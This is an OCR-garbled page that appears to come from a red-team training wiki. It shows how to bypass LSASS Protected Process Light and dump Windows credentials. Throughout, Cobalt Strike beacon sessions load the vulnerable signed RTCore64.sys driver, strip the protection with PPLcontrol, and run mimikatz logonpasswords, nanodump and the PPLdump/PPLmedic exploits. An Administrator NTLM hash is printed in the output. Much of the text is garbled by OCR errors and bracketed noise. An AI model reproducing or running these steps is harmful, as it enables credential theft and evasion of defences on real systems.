PPL

T PPLOT T ITTIPPL 0TI quick-win[IT] PPL T

iﬁfb@geolﬂﬂgnd or type unknown

[T SRVOQLITIT] nanodump [T] mimikatz [TTTIITITITIIITIT] Isass [ITInanodump [ITIITTIIITIT] Isass.e.

beacon> nanodump --fork --write C:\windows\tasks‘lsass2z.dmp
[*] Running NanoDump BOF
[+] host called home, sent: 91895 bytes

Could not open a handle to 748,

beacon> logonpasswords

[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 296058 bytes

[+] received output

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

PID 748 [Isass.exe

beacon> ps

[*] Tasked beacon to list processes
[+] host called home, sent: 12 bytes
[*] Process List

PPID Name session

[System Process]

[TTTTTITIT] PPL IITTTTTITIITTITRTA o re644s 7 S[OVHHR

System

Registry
student_dler.exe
conhost.exe
student_dler.exe
SMSS.EeXe

dwm.exe
C5rss.exe
wininit.exe
C5rs5.exe
services.exe
1sass.exe
winlogon.exe

0
0
1
1
1
0
1
0
0
1
0]
0
1

[OM911]

NT AUTHORITY“\SYSTEM
NT AUTHORITY\SYSTEM
PROD\sql_service
SRVO1\Administrator
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM

(L]
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RTC orefd sys Properties
General  Digital Signatures

Signature list

Securty Details Previous Versions

MName of signer:

Digest algorithm
MICRO-STAR IN... shail

Timestamp
Sunday, August 27, 2...

AROCEXP152.SYS

| PROCEXP15

General Digital Signatures

Signature list

Details

Security Details  Previous Versions

Microsoft Win... sha256

Name of sign... Digestalgorit.. Timestamp

Monday. August ...

LT L L LT T T T VT g Tdr dibl €hhIich

Details

[TTTT SrvOl [ITTITIIT]

Digital Signature Details ? x

General  Advanced

—_, Digital Signature Information
#-j; This digital signature is QK.

Signer information

Mame: IMICF‘.O—ETAF‘. INTERMATIOMAL CO., LTD,
E-mail: INot available]
Signing time: |sunday, August 27, 2017 5:44:40 AM
View Certificate
Countersignatures

Mame of signer: E-mail address: Timestamp

GlobalSign TSA f... Mot available Sunday, August 27, ...

Details

!
5
]
;
7
=
X

General  advanced

—_ |, Digital Signature Information
J‘J This digital signature is OK.

Signer information

Name: })ﬂ Windows Hardware Compatibility Publisher
E-mail: INot available
Signing time: |Monda~,r, August 16, 2021 9:01:33 PM

View Certificate

Countersignatures

Mame of sign... E-mail addre... Timestamp

Microseft Tim... Mot available Monday, August ...

Details

BRIPPRECOtOBI{TTTTTITIIIIT] PPL (ITTTITIIT] RTCore64.sys 11

sc. exe create RTCore64 type= kernel start= auto binPath= C: \windows\tasks\RTCore64. sys
DisplayName= "control"
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net start RTCore64

beacon> shell sc.exe create RTCore64 type= kernel start= auto binPath= C:\windows\tasks\RTCore64.sys DisplayName= "control"
[*] Tasked beacon to run: sc.exe create RTCore64 type= kernel start= auto binPath= C:‘\windows\tasks\RTCore64.sys DisplayName= "control"
[+]1 host called home, sent: 140 bytes
ived output
reateService SUCCESS

beacon> shell net start RTCore64

[*] Tasked beacon to run: net start RTCore64
[+] host called home, sent: 49 bytes

[+] received output:

The control service was started successfully.

beacon> shell \windowsytasks\PPLcontrol.exe list

[*] Tasked beacon to run: C:\windows\tasks\PPLcontrol.exe Llist
[+] host called home, sent: 67 hytes

[+] received output:

addr.

WindowsTch (0x1e) | Windows (0x1c) 1a065040
Unchecked (Ox00) Unchecked (0x00) e7881a0T7080
WindowsTch (0x3e) | Windows (0x0c) 1 8
5 ) WinTch i WindowsTch (0x3e) | Windows (0x0c)
656 1 WinTch i WindowsTch 3e Windows (Bx0c)
664 1 WinTch WindowsTch : Windows (bx0c)
740 i WinTch WindowsTch (0x3e) | Windows (0x0c)
748 y Lsa Windows (0x3c) | Microsoft (ox08) | exffffe7
2260 1 Antimalware (0x37) Antimalware (0x07) Oxffffe

Kernel addr.

WindowsTch (0x1e) | Windows (0x1c)
Unchecked (0x00) Unchecked (0x00)
WindowsTch (0x3e) | Windows (0x0c)
WinTch i WindowsTch (0x3e) | Windows (bx0c)
WinTch b WindowsTch (0x3e) | Windows (0x0c)
WinTch i WindowsTch (0x3e) | Windows (0x0c)
WinTch i WindowsTch (0x3e) | Windows (0x0c)
Lsa Windows (0x3c) | Microsoft (0x08)
Antimalware (3) | Antimalware (0x37) | Antimalware (0x07)

[+] Enumerated 9 protected processes,

beacon> shell C:\windows‘\tasks\PPLcontrol.exe unprotect 748

[*] Tasked beacon to run: C:\windows\tasks\PPLcontrol.exe unprotect 748
[+] host called home, sent: 76 bytes

[+] received output:

[+] The process with PID 748 is no longer a PP(L).

[(ITITITIT] Isass.exe [IT111]
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beacon> shell C:\windows‘\tasks\PPLcontrol.exe unprotect 748

[*] Tasked beacon to run: C:‘\windows\tasks\PPLcontrol.exe unprotect 748
[+] host called home, sent: 76 bytes

[+] received output:

[+] The process with PID 748 is no longer a PP(L).

beacon> logonpasswords

[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+]1 host called home, sent: 296058 bytes

[+] received output:

Authentication Id : 0 ; 1712649 (0000DOOO:001aZ2209)
Session : Interactive from 1
User Hame : Administrator
Domain 1 SRVO1
Logon Server : SRVO1
0 : 5/8/2023 6:21:28 PM
t 5-1-5-21-2546674156-3203505264-3 049053-500

[00000003] Primary

* Username : Administrator

* Domain : SRVO1

* NTLM 1 273eac917t4fbb23087185458Th46e0d

* SHA1 : 7JedB8f0a3d2ded4747e247494e8d842bcaab3ce2ed
tspkg
wdigest :

* Username : Administrator

* Domain 1 SRVO1

[SRVO1] SYSTEM */384
beacon> | |

(11 LSA [J PPL [TITIIIIIIIT] Isass.exe [TII111]

beacon> shell C:\windows\tasks\PPLcontrol.exe set 748 PPL Lsa

[*#] Tasked beacon to run: C:\windows\tasks\PPLcontrol.exe set 748 PPL Lsa

[+] host called home, sent: 78 bytes

[+] received output:

[+] The Protection 'PPL-Lsa' was set on the process with PID 748, previous protection was: 'None-None'.

beacon> logonpasswords

[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 296058 hytes

[+] received output:

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

ITITITITH RREEPE BupoMm/itm4n/PPLdump) [TTEEEHITTREHTIIIITPEA TN PPL TTTTTIIIIT
https://github.com/itm4n/PPLmedic) [ITITITIITIT] PPL (TTInanodump [I1T11] 2 I |
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PPL Dump exploit

If LSASS is running as Protected Process Light (PPL), you can try to bypass it using a userland exploit discovered by
Project Zero. If it is successful, the dump will be written to disk.
Mote that this vulnerability has been fixed in the July 2022 update pack (Windows 10 21H2 Build 19044.1826)

To access this feature, use the nanodump_ppl dump command

beacon> nanodump_ppl dump -v -w C:\Windows\Temp\lsass.dmp

PPL Medic exploit

Nanodump also implements the PPLMedic exploit, which works on systems that have the July 2022 update pack. The
parameters will be passed to the nanodump DLL via a named pipe. You can hardcode the parameters into the DLL
and avoid using the named pipe altogether with the compiler flag PASS_PARAMS_VIA_NAMED_PIPES=0.

To access this feature, use the nanodump_ppl medic command

beacon> nanodump_ppl medic -v -w C:\Windows\Temp\lsass.dmp

[0SrvOl [TIPPLdump [ITITIIT] PPLmedic [TT111]

beacon> Logonpasswords

[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 296058 bytes

[+] received output

ERROR kuhl m sekurlsa acquireLSA ; Handle on memory (0x00000005)

beacon> nanodump_ppl medic -v -w C:‘\windows\tasks\lsassppL.dmp
[*] Running ManoDumpPPLMedic BOF
[+] host called home, sent: 160656 bytes
The exploit failed.
beacon= nanodump_ppl dump -v -w C:\windows‘\tasks‘\lsassppl.dmp
[*]1 Running NanoDumpPPLDump BOF
[+] host called home, sent: 137285 bytes
[+] received output
Done, to download the dump run:
download C:‘\windows\tasks\lsassppl.dmp
to get the secretz run:
python3 -m pypykatz lsa minidump lsassppl.dmp
mimikatz.exe "sekurlsa::minidump lsassppl.dmp"™ "sekurlsa::logonPasswords full" exit

Revision #7
Created 5 September 2022 03:08:59 by [TT]
Updated 28 December 2023 01:30:56 by 111


https://raven-medicine.com/uploads/images/gallery/2023-05/xVwNhcOJTSkWd2zi-image.png
https://raven-medicine.com/uploads/images/gallery/2023-05/kfbk0gCicfIZwTkv-image.png

